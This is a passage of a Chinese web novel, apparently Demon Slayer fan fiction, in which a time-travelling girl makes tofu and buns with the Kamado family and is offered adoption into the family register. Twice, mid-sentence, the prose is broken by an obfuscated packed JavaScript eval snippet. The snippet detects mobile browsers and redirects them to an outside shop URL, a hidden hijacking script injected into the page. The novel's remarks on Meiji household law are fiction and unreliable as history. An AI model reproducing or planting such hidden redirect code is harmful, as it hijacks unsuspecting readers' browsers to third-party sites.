令人欣慰的是,炭治郎家有铁锅,因为他们家人口不少,锅也足够大,完全能熬煮那一大盆的豆浆。(霓虹江户时代就普及铸铁锅了) “你看看,这样行不行?” 灯锅烧开了,炭治郎扭头询问陈凤,他面上很从容的样子,但其实就是在跟陈凤隐晦的表示,你看吧,小瞧我了吧。 陈凤接收到炭治郎神情中暗戳戳的炫耀了,她点头,表示最大的肯定。 “行,可以小火熬了,再几分钟就好了。” 炭治郎“嗯”了一声,他立马撤柴火,使铁锅的温度降下来,陈凤看着炭治郎娴熟的动作,佩服的五体投地。 “厉害厉害!太厉害了!”陈凤小海豹拍手,她从来不吝啬自己的赞美,看着炭治郎的眼里满是崇拜。 “我先前差点把厨房点了呢,你怎么这么牛?” 炭治郎被夸的脸红,他心里其实特别高兴,陈凤的肯定让他干劲十足。 “别忘了我们家是做什么的啊。”炭治郎新奇的看着豆浆上浮起的一层皮子,他一边在陈凤的示意下用筷子夹起豆皮,一边说:“我们家世代和火打交道,所以对火焰的温度十分敏锐且娴熟。” 陈凤恍然:“这样啊,原来是家学渊源……啊,对了。” 陈凤看着炭治郎,眼中亮晶晶的:“你喝不喝豆浆?” “诶?”炭治郎看着锅里纯白的豆浆恍然大悟:“啊,这个就是豆浆了?现在就可以喝了啊。” 炭治郎喝到豆浆的次数屈指可数,而且都是很小的时候和爸爸一块去镇子上买杂货喝过,当时的记忆有些模糊了,但炭治郎还记得那时候他一直在哭,爸爸为了哄他,才给他买了一碗呢。 豆浆很白,没什么味道,还是小孩子的他并不怎么喜欢,最后爸爸将一颗金平糖放到了豆浆里,瞬间,寡淡的豆浆多了淡淡的甜,和浓郁醇厚的豆子味一起,在炭治郎的记忆中越发绵长。 所以,在炭治郎的意识里,豆浆和豆腐是两种不相关的东西。 炭治郎看着这雪白干净的汤水恍然,随即他难掩激动的看着陈凤大声表示:“我要喝!” “好。” 接着两个人一人一碗,捧着刚熬好的豆浆热乎乎的喝下去。 “哇~~”X2 “好好喝啊。” 虽然没有糖,但是浓郁的豆香和顺滑的口感在这个冬天里已经是绝佳的风味了。 陈凤和炭治郎一脸陶醉,他们对视一眼,互相看着对方嘴巴上雪白的一圈,纷纷傻笑。 啊,刚熬好的豆浆可真香啊。 10. 第十章 第十章 “太狡猾了!你们两个!”花子噘着嘴,用谴责的目光看着陈凤和炭治郎:“我们也想喝豆浆。” 茂也一样,他可怜兮兮的看着炭治郎:“啊,没错没错,怎么不叫我们啊!” 六太不明白二姐和三哥在说什么,他就茫然的眨眼,跟着一起附和:“豆,浆?是什么?” 啊,被发现了,偷喝豆浆这种事……也不算偷喝吧……就……忘了。 面对弟弟妹妹们的谴责,陈凤和炭治郎对视一眼,而后望天。 真是疏忽大意了,当时他们俩喝完豆浆以后,没想着让其他小不点一块尝尝,陈凤就直接下卤水了,炭治郎当时还在回味豆浆的味道,也忘了提醒,现在,那些豆浆已经凝成豆花,被放在模具里压着成型了。 “没事,没事,你们别着急,等下一锅,下一锅做豆腐的时候,我一定记得留豆浆。” “没错,没错。”炭治郎跟着点头:“到时候第一个让花子和茂先喝。” 这种空头支票很难取信于人,花子噘着嘴,看着陈凤说:“你今天还说豆腐第一个让我先吃呢,结果刚刚喝豆浆都不叫我们。 陈凤讪笑,她伸手去拉花子,但小姑娘在闹别扭,身体扭得和麻花一样,就是不让陈凤碰。茂也是抱着肩膀扭头看向一边,生气的不去看炭治郎。 啊,这可怎么哄啊。 陈凤瞥了炭治郎一眼期望他能有办法,却发现炭治郎也在看她。 陈凤:“……” 无语了,你不是长男吗,这种哄弟妹的小事应该信手拈来吧! “哥哥,凤姐姐,豆腐做好了吗?” 这时候祢豆子宛如救星一般登场,她走进厨房后看到花子和茂笑着道:“今天晚上是汤豆腐哦,味增汤里也放一些,啊,对了,我会说服妈妈,让她多拿出点油,做煎豆腐好吗?毕竟咱们好久都没吃过了。” 瞬间,两个孩子的注意力都被吸引过去了,茂开心的跑去抱住祢豆子:“姐姐姐姐,汤豆腐,汤豆腐。” 花子也满是期待:“真的能有煎豆腐吗?煎豆腐,煎豆腐!” 要知道煎豆腐可是需要用比平常多几倍的油才能做的,算是很奢侈的料理了,难怪花子这么高兴。 见两个小不点已经被祢豆子拿捏,陈凤舒了口气。 “啊,对了。” 陈凤看向祢豆子,询问:“家里有面粉吗?荞麦面也行。” 祢豆子愣了一下,而后点头:“有啊,凤姐姐想吃荞麦面吗?” “啊,不。”陈凤扭头,她指了指放在一边的豆渣说:“那些豆渣不吃太浪费了,拿点面混在一起咱们蒸馒头吧。” 如果可以,陈凤并不想吃豆渣,但是她知道灶门家的生活条件摆在那呢,现如今灶门家一天两顿饭,陈凤觉得不够,这个年代的霓虹,食物里油水太少了,就算当时吃的很撑,但干一会儿活就又饿了。 陈凤想要一天吃三顿,便必须得想办法多找点食物,不然也不会仙想着先做豆腐了。 “啊,这,当然好啊。” 听到陈凤的决定,祢豆子迟疑的点了点头,她有些为难的看着陈凤:“但是,家里其实吃面食吃的很少的。” 霓虹的饮食习惯和种花的南方差不多,不太吃面食,主要是,不擅长。 陈凤曾经为了拍视频和团队去霓虹生活过一段时间,那时候霓虹遇到了粮食危机,超市大米卖八百日元一公斤,面粉才三百,但是他们就是不吃面,因为不会做,觉得做面食麻烦。 “啊,我会。” 陈凤爸爸南方人,妈妈北方人,所以家里经常做面食的,烙饼包子饺子她都会。 说着,陈凤挽起袖子,打算开始干活,她扭头询问祢豆子:“家里有酵母或者老面吗?” “呃……”祢豆子面露难色,他们家就算是吃面也是直接做成手擀面或者做成乌冬面的,而且还是夏天吃,所以对陈凤说的酵母老面祢豆子都很陌生。 陈凤也不奇怪,这地方不爱吃面食,所以肯定不备着发面的起子。 “那白糖和白醋有吗?” 祢豆子眼前一亮,她连连点头,脆生生的应道:“这个有!白醋哥哥知道在哪,我去找妈妈拿点糖来。” 现在糖可是稀缺物资,家里的白糖都是由葵枝仔细收好的,毕竟这个东西不仅贵,而且还受小孩欢迎,家里那么多小孩,虽然都很懂事,但也备不住孩子馋的时候拿手捏一点偷吃,所以葵枝都是将糖锁在柜子里,过年或者节日的时候,才给孩子们做点萩饼解馋的。 不过如果陈凤要的话,葵枝肯定会同意。 “我拿过来了!” 祢豆子捧着糖罐,高兴的和陈凤道:“我和妈妈说了,今天的晚饭让我来煮菜,凤姐姐来蒸馒头,妈妈同意了,还愿意让咱们多用点油呢。” “哈哈,那好,我不会让阿姨失望的。” 炭治郎见陈凤一副要大干一场的模样,配合的将面粉和醋找来:“需要我干点什么吗?” “嗯,帮我拿蒸笼出来吧,然后一会儿给我看火。” 炭治郎点头:“行,柴火不够了,我先去取点。” 因为要和面,陈凤调整了一下襻膊,将宽大的袖子仔细整理好,她现在穿的还是汉服,没办法,现在是冬天,她带的御寒的衣服就只有冬款汉服了。 啊,好后悔,当时就为了好看,谁能想到她会穿越体验一把劳动人民的辛苦啊。 多想无益了,陈凤摇了摇头,将脑子里乱七八糟的想法赶走,开始和面。 因为没有酵母,陈凤只能用白醋和糖来发酵了,这种发酵方法很吃温度环境的,陈凤曾经成功过,但其实现在也捏了把汗,她害怕翻车,毕竟灶门家的温度和楼房有暖气的屋子不一样啊。 “怎么了?”祢豆子看出了陈凤的焦虑,便走过来询问她在烦恼什么。 陈凤将自己的担忧说了,而后苦恼的皱眉:“说真的,没有酵母或者面起子,我还真怕面发不起来,毕竟厨房温度有点冷。” “温度?” 去搬柴火过来的炭治郎听到这句话后祢豆子对视一眼,兄妹两个不约而同的笑了。 陈凤纳闷:“你们两个笑什么?” 而祢豆子不答,她戳了戳哥哥,随即炭治郎便问:“你说的三十度到四十度,是什么感觉啊?” “差不多你心口的温度。”陈凤用手指比划了一下:“再稍微高点。” “哦,那交给我吧。”炭治郎接过面盆,找到离锅台比较近的位置,将其放好。 “好了,这里就行了。” 陈凤大为震惊:“诶,这样就行了吗?” 炭治郎点了点头:“对,如果这里变凉或者温度升高的话,我和祢豆子都会看着的,你不用担心。” “对啊。”祢豆子点头,她看着陈凤笑容中带着一种笃定的自信:“凤姐姐,你别忘了我们家是干什么的啊,对温度的控制家里除了我爸爸,我和哥哥是最厉害的。” 说着,祢豆子眨了眨眼:“其实我哥哥焖饭最好吃,因为他对火候的控制特别精准,他烧的炭和我爸爸一样,每次的品质都特别稳定。” 哇! 陈凤眼前发亮,她好像发现了炭治郎的特殊被动技能,如果真如祢豆子所说,那…… “你要是真有这种本事……” 陈凤心中兴奋难耐,她认真的对炭治郎道:“那咱们离发家致富就不远了。” 炭治郎疑惑的歪了歪头,虽然不明白陈凤在说什么,但这个时候他是不会扫兴的,只是笑着附和:“真的吗?那太好了。” 陈凤当然看出了炭治郎的不信任,她也不牵强,等时机到了,对方就知道了。 三个小孩一边聊天,一边干着活,时间很快就过去了。 “我看看啊。” 陈凤有些紧张的将面盆揭开,她嘴上念叨着:“千万别翻车,千万别翻车。”这副样子逗得祢豆子直笑。 “啧,笑什么。” 陈凤戳了戳祢豆子的胳膊,有些羞恼:“我这是怕浪费粮食啊。” “没有。”祢豆子眨了眨眼,俏皮的吐了吐舌头:“我就是觉得刚刚凤姐姐紧张的样子,和平常完全不一样。” “不一样?”陈凤有些纳闷,她不明白祢豆子为什么这么说:“我一直都是这样啊。” 祢豆子摇了摇头没解释,其实陈凤不知道,她在灶门家所有人的心里形象,是特别与众不同的,漂亮,聪明,而且胆子大,眼中有一种什么都难不倒她的自信,明明年纪和她们兄妹几个差不多大,但看起来比大人还有见识。 有的时候一个人的精神气是会影响周围人对其的态度,正因为陈凤的气场十足,炭治郎才愿意跟陈凤有商有量,甚至听她的话,葵枝在听说陈凤需要时,二话不说将家里的麻布和糖拿出来。 而陈凤也不负众望,面发的非常成功。 “这就是面发起来的样子?” 祢豆子凑上去看这一盆满是孔洞,外观不太好看的面忍不住皱眉,他们家没发过面的,所以祢豆子不知道这个状态是正常的,反而担心是不是坏了。 “它,没事吧?” 看着祢豆子小心翼翼的模样,陈凤哈哈大笑:“没事的,你等会儿就知道了。” 然后祢豆子就看到了和面的艺术,原本黏黏糊糊十分不好看的面,在陈凤的手中变得听话,在陈凤搓弄下变得柔韧光滑,看得祢豆子忍不住想要上手。 “凤姐姐,让我试试可以吗?”祢豆子好奇极了,她忍不住戳了戳软乎乎的面团,感觉好像玩泥巴一样。 “你来吧,” 陈凤一边教祢豆子和面,一边笑着道:“等家里富裕了,我教你烤蛋糕,那个更好吃,你一定会喜欢的。” “嗯!”祢豆子不疑有他,开心的点头,在她看来凤姐姐知道很多东西,这些都是她甚至是妈妈也没听过的,所以她非常信任陈凤说的一切。 “好了,等切块之后,再醒发一会儿,就能蒸了。” 看着蒸笼里的生馒头块,陈凤终于舒了口气,她今天的工作算是完成了。 “好,接下来就交给我吧!” 祢豆子自信满满道:“今天的晚餐我一定好好大显身手。” “嗯,我期待着。” 陈凤伸了个懒腰,她是真扛不住了,今天干了一天的活,总觉得腰酸背痛的。 好吧,她就是不如灶门家的孩子那样抗造,她这个身子骨没干过什么活,所以需要休息! 豆渣馒头大获成功,当祢豆子揭开蒸笼,看到那几个白白胖胖的大馒头时,发出了惊喜的呼喊:“快来看,这是凤姐姐蒸的馒头!” 因为加了豆渣,所以馒头看上去偏黄,但是表面十分光滑,一个个馒头看上去暄软又讨喜,围过来的灶门家兄妹都发出了惊喜的呼声。 “这是馒头吗?”花子想伸手戳一戳,但却被陈凤制止了,她看着灶门家的几个小孩,声音温和但不容置疑:“都去洗手,洗完手才能吃饭。” “嘻嘻嘻。” 花子讪笑一声,随即领着弟弟们去洗手准备吃饭了。 饭前便后要洗手这个观念是从西方确定细菌的存在便开始有的,因为霓虹的教育逐渐西化,这个观念也被官府普罗到大众家庭中,因为霓虹人有温泉文化,国民普遍接受度高。 灶门家十分爱干净,他们家虽然是卖炭的,但是每个孩子也不邋遢,反正陈凤挺庆幸的,救了她的灶门家虽然穷,但是生活习惯好,她至少不用担忧头上长虱子或者有跳蚤的问题。 晚饭除了馒头这个主食,配餐便是各种豆腐,全都由祢豆子一个人完成。 今天的配菜是煎豆腐,汤豆腐,味增汤,还有甜甜的大根,如果放现代的话,这一餐肯定不够看,但现在这个年代已经算是过年大餐的水准了,尤其是,今晚的菜色虽然简单,但却分量十足。 “哇!” 看着端上桌的晚饭,几个小一点的孩子都惊呆了,因为霓虹人对吃食是非常节省的,他们每次就吃七分饱,且是分餐制的,基本上每个孩子就是一套定时,而今天,可以说是相当豪迈了。 馒头直接放在干净的箩筐里随意自取,煎豆腐也是如此,满满的一大盘放在中间,看着就舒心,只有汤豆腐被提前分好,每人一碗而且分量十足。 “那个,是不是有点多啊……” 竹雄看着这些菜量,有些不可置信,他看向自己的姐姐,心想着这是不过了吗? 祢豆子有些不好意思,她脸上红霞满布,声音微弱:“那个,那个,确实有些多了,我……” “是我让祢豆子做这么多的,今天做的那一板豆腐,我让祢豆子用了三分之二。” 陈凤接过话,对所有人说:“从今天开始,我也会参与到灶门家的工作中,我的目的只有一个,就是多挣一些钱,让家里所有人可以敞开了吃饱饭,而今天只是开始罢了。” 随即,陈凤看向葵枝,认真道:“阿姨,请您先尝一尝这豆腐的味道。” 葵枝看了陈凤一眼,意识到她可能要说些什么,便笑了笑,配合的夹了一筷子豆腐放在嘴里,而后称赞:“非常好吃,阿凤很能干。” 陈凤闻言笑了笑,然后询问葵枝:“那我打算每天多做一些豆腐,和炭治郎一起去山下售卖,您觉得这个味道,会有人购买吗?” 炭治郎睁大了眼睛,他没想到阿凤是这么打算的,他先前只以为陈凤买豆子回来只是为了帮衬家里。 “你要做生意?” 竹雄不可置信的看着陈凤,因为在他的印象里陈凤是和镇子上的少爷小姐画等号的,就算陈凤要赚钱,也应该是穿着和服去给学生上学的体面女老师,或者是政府部门的女职员,怎么能,怎么能……走街串巷,任人奚落呢? 陈凤看了竹雄一眼点头:“是的。” 而后,陈凤看向灶门家的所有人说出了自己的打算:“从明天开始离春节还有一个月,马上就要过年了,所以就算是再穷苦的人家,都会多花一些钱改善一下伙食,虽然说镇子上有豆腐店,但是豆腐店只有那么一两家,店铺的体量虽然大,但是年关将至,想要买豆腐改善生活的人太多,可能会供不应求,这是我们最好的机会。” 说着,陈凤看向炭治郎道:“到时候我来背炭,家里有推车,那豆腐易碎,需要你用推车载着豆腐,我们最大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“爸爸,你身体好了吗?”花子扶着炭十郎的左胳膊,而茂则扶着炭十郎的右胳膊道:“是啊,爸爸我好久都没见到你了。” “爸爸,爸爸。”六太扒着炭十郎的裤腿,想要炭十郎抱他,却被哥哥竹雄直接抱走。 六太不乐意,他想闹,他好久都没见过爸爸了,想的厉害。 “小不点,跟哥哥坐,爸爸身体不舒服。”竹雄说着,将六太禁锢在怀里,而后拿了块煎豆腐让六太啃,有了吃的之后,六太瞬间被转移了注意力,在哥哥的怀里开心的啃起了香喷喷的豆腐,但眼睛却盯着炭十郎。 “阿娜达,来这里坐。” 葵枝见丈夫竟然从屋子中出来了,虽然惊诧,但还是连忙起身。 炭治郎也赶紧起来,他身为长子,先前在饭桌上是坐主位的,但如今真正的一家之主来了,那他身为儿子当然要让位。 而这时候,祢豆子也从厨房拿来了属于炭十郎的餐具,陈凤这才恍然,她刚刚见炭十郎出来后,祢豆子便匆匆离开了,还纳闷她去干嘛了,原来是给她爸爸拿餐具去了。 对比起灶门家其他人的殷勤,陈凤就显得淡定多了,毕竟她不是炭十郎的孩子,她是客人,只需要做到礼貌就够了。 等炭十郎坐下后,他的视线落在了陈凤的身上,神情平和,但却颇具压力。 这是陈凤第一次与炭十郎正面交流,她忍不住仔细端详这位从她来到灶门家,便没怎么见过面的大家长,心下吃惊对方竟然已经消瘦成这样了。 现在的炭十郎已经瘦到脱相了,他的双颊凹陷,面色灰黑,显然是一副病弱膏肓马上就要入土的人,但是陈凤却注意到炭十郎的眼神仍旧清明,气息仍旧稳健。 陈凤不禁想到了昨天晚上令她震惊的一幕,这位明明已经虚弱得随时可能西去的瘦弱男人,只一瞬,就将七颗巨木砍成了大小合适的柴火。 “阿凤……咳咳咳!” 炭十郎太虚弱了,只是说了一句话就咳嗽连连,此时炭十郎的位置就是刚刚炭治郎的位置,陈凤刚刚是挨着炭治郎坐的,因此现在她离炭十郎最近。 “您不要紧吧。”陈凤吓得赶紧站起来给炭十郎顺背,而炭治郎则拿来了清水,等炭十郎不再咳嗽后,才端给他。 “谢谢。” 炭十郎摆了摆手,示意他已经没事了,让大家都坐下。 陈凤和炭治郎对视一眼,最终还是听从炭十郎的话入座。 等大家都坐好后,炭十郎看向陈凤露出一个温和的笑容道:“阿凤,叔叔可以这样叫你吧。” “嗯,您随意就好。”陈凤点了点头,她现在其实有些紧张,也不知道怎么回事,明明炭十郎是那么的虚弱,但是在面对他的时候,陈凤总能感受到一种压力。 真奇怪了,明明炭十郎的气质那么温和,但陈凤就是不敢掉以轻心。 炭十郎似乎感觉到了陈凤的压力,但他只是笑笑,没有可以安抚,而是看了眼今晚的菜色,露出一个赞叹的笑容:“家里好久都没吃这么丰盛了,这都多亏了阿凤。” 看来炭十郎虽然一直将自己隔离在小屋里,可对家里发生的一切都是有数的。 炭十郎看着陈凤道:“叔叔要谢谢你,我这个做父亲的实在是太不成器了,也多亏了你的照顾,才让炭治郎他们这些孩子这么开心。” “您说的哪的话啊。” 陈凤摇了摇头,笑着道:“请您尝尝看吧,这些都是祢豆子做的,若您能多吃一点,祢豆子一定非常高兴。” 炭十郎闻言,看向自己的大女儿,见父亲看向自己,祢豆子忍不住回了一个大大的笑容。 “好。”炭十郎也跟着高兴,他点头道:“我会多吃点的。” 因为炭十郎的加入,这顿饭灶门家的孩子吃的都很开心,毕竟对他们而言,爸爸已经好久都没出现在餐桌上了,所以都忍不住想和炭十郎多说些话。 唯独陈凤,她在默默的观察,她不知道为什么炭十郎这个对她而言可以说是透明人的存在,今天会忽然出现在人前,但是陈凤有预感,炭十郎是为了她,才从房间中走出来的。 而陈凤预料的没错。 晚餐结束后,灶门家的所有人都吃的非常满意,他们还是第一次吃发面馒头,在从前,灶门兄妹的认知里,馒头这个东西是糯米包着馅料制成的点心。 “好好吃啊,馒头软软的,而且还带着甜味。” 花子一边和姐姐收拾桌子,一边笑道:“要是能天天吃这么饱就好了。” 听着花子欢快的话语,其他人都笑了。 炭治郎看着弟弟妹妹们如此高兴,也觉得满足,但他仍然惦记着父亲的身体,询问父亲要不要扶着他回屋休息。 却不想炭十郎摇了摇头,拒绝了儿子,反而看向陈凤,道:“阿凤,能过来和叔叔单独聊聊吗?” 来了。 陈凤心中一颤,她忽然有一种尘埃落定的感觉。 “好。” 陈凤笑了笑,随即在炭治郎茫然的眼神中,挤掉他的位置,担任起扶着炭十郎的职责。 终于来了啊,家中大BOOS的考验。 11. 第十一章 第十一章 说真的,在单独面对炭十郎时,陈凤心中那种不自觉的紧张感更重了,她也不知道为什么,明明这位灶门家真正的当家已经瘦的形销骨立,明明这位长辈对她的态度十分的温和,但,陈凤就是忍不住绷紧身体。 为什么会这样呢?冷静下来,陈凤! 不论对方到底是何方神圣,他也属于灶门一家,而你,陈凤,你的到来从开始到现在,皆是有利于灶门家的,身为灶门家的当家人也应该清楚这点,所以他对你无害。 想通了一切后,陈凤原本绷紧的背脊逐渐放松下来,她看向炭十郎的眼神不再紧张,反而坦荡且坦然。 炭十郎自然感受到了少女神态的变化,他心中赞誉面前少女的心态,同时也在好奇,到底是什么样的家庭,才能培养出陈凤这样气质的女孩子呢? 虽然炭十郎这些日子没怎么和陈凤照面,但每天晚上,妻子都会在照顾他的时候与他聊一聊几个孩子的事情,其中自然也包括家里救回来的那个小姑娘。 “那是一个……”葵枝抚着脸,思索着如何向丈夫形容自己对陈凤的印象,在葵枝看来,陈凤真是一个处处都透着矛盾的女孩子。 “她自然是比祢豆子和家中的其他孩子娇气的,但……却和我见过的镇子上的那些小姐不一样。” 提到陈凤,葵枝的眼中满是喜爱:“她是个自尊心特别强的小姑娘,我每次看着她的眼睛,都恍惚能感觉到其中有火焰在燃烧,明明能看出来她受到过良好的教育,但却没有一丝高傲。 她先前的生活环境肯定特别优渥,但是到了咱们家却从没抱怨,一直在努力的适应,正是因为她身上没有那种傲慢的轻视,所以家里的几个孩子都亲近她,喜欢和她玩。” 说到这里,葵枝有些替陈凤惋惜:“她一定是因为不得已的原因才沦落到此处的吧?可真坚强啊,哪怕遭遇变故,她都没叫过苦,我从没见过她沮丧流泪过,如果祢豆子和花子能跟凤小姐一样,那么我想,我便不用担心她们两个的将来了。” 妻子的评价名副其实。 炭十郎收回思绪,认真的看向陈凤:“阿凤。” 陈凤看向炭十郎,坦然一笑:“叔叔,您想知道什么尽管问我便是,只要我回答的出来,一定没有任何欺瞒。” 而炭十郎却摇了摇头,只说:“你愿不愿意,入籍灶门家?” 听到这话,直接让陈凤瞪大了双眼,她看着炭十郎,没想到对方竟然下那么大的决心。 炭十郎一脸严肃,道:“我必须得和你阐明一下霓虹的户籍制度,等你听完之后,再做考虑。” “是,明白。” 自从明治维新后,霓虹是以“家族”这个单位为核心来规划户籍,登记人员的。 之所以说家族,而不说家庭,是因为霓虹其实是一个非常看重身份地位的国度。 户籍除了统计居民,同时也有一个功能,就是身份绑定。 比如说,你们家是种田的,你的户籍资料上就会添上农民这个身份,你家族是做买卖的,户籍资料就显示商人,自然,如果你家先前是武士,即便明治维新后,因为禁刀令的废除已经没有武士了,但是只要户籍上显示,你家是武士家庭,那么社会地位就比一般人高贵。 所以霓虹的户籍不只是为了统治民众,同时也能给社会的民众分出个三六九等来。 “我们一家你应该有所了解,因没有田地,所以够不上什么高门大户,但至少,我们家还有制炭的一技之长,没有沦落为贱籍。” 是的,在霓虹,哪怕是明治维新后推行先进思想,骨子里根深蒂固的阶级观念也仍然没有好转,户籍上明确的标注了贱籍,平民,和华族。 注意,这里的华族不是种花的华,而是贵族的意思。 拥有华族户籍的家庭,有很多特权,比如免税,参军直接当官之类的。平民的话,没什么特权,但起码比贱籍强。在霓虹,贱籍除了乞丐,流民罪犯是贱籍之外,还有因职业而被视为贱籍的人,比如说搬尸工,屠夫,反正只要是和血与污秽有关的职业,都是贱籍。 虽然说1870以后,霓虹的户籍登记的时候不再有贱籍这个分类,原先贱籍的人被归类为平民,但是,记录户籍的户籍官员会特别备注一下这些人原先的职业,然后大家就一目了然,这些人曾经是什么身份了。 炭十郎很诚恳,将霓虹的户籍情况完全和陈凤说了个明白,他叹了口气,道:“以你的姿容其实完全可以嫁入华族,成为人上人……” “这就不必了。” 陈凤摆手,直接打断了炭十郎的话,她脸上是一种无法掩饰的嫌弃:“叔叔,我不是那种攀龙附凤的女孩,我就是混的再不济,也没想过嫁给男人解决困境。” 看着陈凤的神态,炭十郎忍不住笑着摇摇头,不得不说,他妻子对陈凤的评价真准,是个自尊心特别高的女孩。 “很抱歉,是叔叔说错话了。” 炭十郎看着陈凤继续说道:“和你说这些,只是希望你能完全明白状况,不至于什么也不清楚。” “我知道,您是为了我好。”陈凤摇了摇头,表示根本不介意那些,她反而真的很感谢炭十郎,愿意将所有情况完全告知。 “但,我还是想问。” 陈凤的表情极为认真,带着一种近乎执拗的迫切:“向我这种没有身份的流民,就没办法拥有自己的户籍吗?单独的那种。” 炭十郎看着陈凤沉默良久,而后摇头叹气。 “阿凤,这个社会,对女孩子是极为苛刻的,如果,我是说如果,你但凡能找到你的家人,或者离开这里,都比你独自一人在外漂泊强。” 说着,炭十郎接下来的话,将陈凤的希望完全击碎了。 原来,霓虹这个地方,是不允许单独立女户的,是的没错,因为霓虹这个地方,是绝对的家父长制,什么是家父长制? 就是身为一家之主的父亲是户主,拥有家庭成员的绝对控制权,比如婚姻,财产,法律等行为,打个比方,如果一个女孩子看上了一个男孩,可她爸爸不同意,那么这个女孩就没法和喜欢的男孩结婚,因为她的户籍被他爸爸管控着。 并且她父亲还可以不通过女孩,直接拿着户籍,去将女孩嫁给父亲选择的女婿。 这就是为什么霓虹私奔的小情侣会那么多的原因,因为在父权制度下,那个女孩未婚时即便能挣钱,她爸爸也有权利将女孩子的钱拿走,就是这么可怕。 如果父亲死了,那就是长子继承户主,身为哥哥的长子,也照样能拥有控制弟弟妹妹们的权利,在这种家父长制的社会制度下,你以为女孩子不好过,弟弟就能好过吗?大错特错。 除了长子之外,次子和其他男孩在成年后,得到家主的允许后,可以出去单过,但这不意味着,次子以后就能完全独立,什么都能自己做主了。 次子就算是分出去单过,和原先的家庭,也就是爸爸和长兄所在的主家,依旧保持着从属关系。 如果主家(父亲,以后也是长兄的家),遇到了困难,分家(弟弟家)必须得奉献财 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007236|194048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 产给主家帮助渡过难关,如果主家没有继承人,也有权利从分家(弟弟家)挑选孩子过继到自己名下。 “也正因如此,我才会说,很难。” 炭十郎咳嗽两声,继续道:“哪怕是父亲兄弟都不在的孤女,只要她还有远房亲戚,她的户籍都要并入远亲的家庭中,但,寄人篱下的滋味不好过。” 陈凤全程都是皱着眉在听的,她忽然发现,霓虹这地方,简直比种花古代还封建!她记得她看的小说,女主是可以立女户的吧? “就没有例外?”陈凤忍不住喃喃道。 “也不是没有,很少。” 炭十郎看着陈凤猛然亮起的眼眸,忍不住摇头:“但你千万不要那样做,阿凤,这不是什么好事。” 炭十郎的语气让陈凤蹙眉,因为之前炭十郎和她说话时,都是用一种建议的方式交流,而此刻,炭十郎用的是警告的语气,但她还是想问:“为什么?” 炭十郎看了陈凤一眼,眼前的女孩是如此的漂亮,就如同艳丽的山茶,带着高不可攀的凌然,和不惧风雪的傲骨,这样的女孩啊…… “其实确实有,无父无母的孤女,被官府特批为女户,不过这个户口只是暂时的,等她们嫁了人,这个女户也会被收回去,而且,这个女户也享受不到任何普通户籍的权利,最重要的是……” 说到这里,炭十郎神色莫名,他看起来有些难以启齿,但在触及到陈凤不刨根问底不罢休的眼神之后,闭了闭眼睛,无奈道:“那些单独的女户,无一例外,每晚都会被附近的官吏光顾家中。” 虽然炭十郎说的很隐晦,但陈凤还是听懂了。 这就是相当于将自己自立门户的路堵死了啊!这个年头不允许女性独立,必须得将她们困在家庭中,就算是真的没有亲戚了,特批单独户籍,但是在其他人眼中,这种姑娘就和肥肉一样。 “叔叔并不是为了吓唬你,也不是为了强迫你,阿凤。” 炭十郎自始至终都十分坦然,他的眼中没有任何龌龊与算计,动机完全是在为陈凤的打算:“我的时日无多,因此灶门家的责任终究会落在炭治郎的身上,我想,你应该在这段时间,看清了我儿子的人品。” 说到炭治郎,陈凤不得不点头:“是的,炭治郎是我所见的最可靠,最诚实的男孩。” 听到陈凤如此评价自己的长子,炭十郎也与有荣焉,他轻笑一声,对陈凤道:“如果你愿意,我会在近日去寻找町村的户籍官,将你纳入灶门家的户籍中,但,是以养女的身份。” 炭十郎看着陈凤惊讶的神情后,忍不住伸手,摸了摸她的发顶。 “剩下的,便都是你们年轻人的事情了,炭治郎的性格你已经熟知,他是个好孩子,将来不论如何他都不会做出伤害你的事情,不论是对你,还是对他的弟妹,他都会是一个厚道且宽宏的家长,这一点,你可以放心。” “我……需要时间考虑。” 陈凤想了想,最终还是没有下定决心。 而炭十郎也看出了陈凤的艰难,他理解的笑了笑。 “这是正确的态度,不论何时都要慎重。” 说完,炭十郎浑身写满了疲惫,对陈凤道:“抱歉,我得先失陪了。” “哪里,请让我扶您去休息吧。” 陈凤见炭十郎如此虚弱,她便想上前搀扶住对方,将其送回房间,但炭十郎拒绝了,他笑了笑而后自己起身,迈着沉重的步子离开了这个伙房,只留下陈凤一人,在原地思考斟酌。 所以,我到底要不要…… 12. 第十二章 第十二章 到底应不应该加入灶门家的户籍? 此时的陈凤陷入了最艰难的抉择,因为她觉得不论是入还是不入,对她而言都是坏事一件。 先不说她此刻的身份是黑户,是流民,如果没有一个正式的户籍,那么她此时所有的行动都会受限。 陈凤是个非常有危机意识的人,虽然现在她在灶门家待的踏实,但是读过历史的她在资料中是见证过这个年代从家乡出逃到其他地方的黑户,究竟有多惨的。别说是历史中,就算是现代社会,黑户也过得猪狗不如。 想到这里,陈凤就忍不住叹息, 如果她是一个男人,这无所谓。大不了她买票,登上拉劳工的黑船,这种船一般会到香城,到时候她在那里下去,语言熟悉,也算是能回家乡了,反正不论如何都有办法活下去。 问题是她是个女孩子,而且还是个稍有姿色的女孩,她这个模样,到哪都是别人眼中的盘中餐,而且想一想这个年代的家乡……比现如今的霓虹还糟糕呢,她在这里,至少这里还有灶门家可以靠一下。 她知道灶门家都是厚道人,可以在这个陌生的世界给她一个避风港,但正因如此,陈凤才觉得可怕,这也代表着,这个世界除了灶门家她没有其他地方可以去。 陈凤从不允许自己成为被动的一方,她对一切看似温暖安全的选择都抱有警惕。 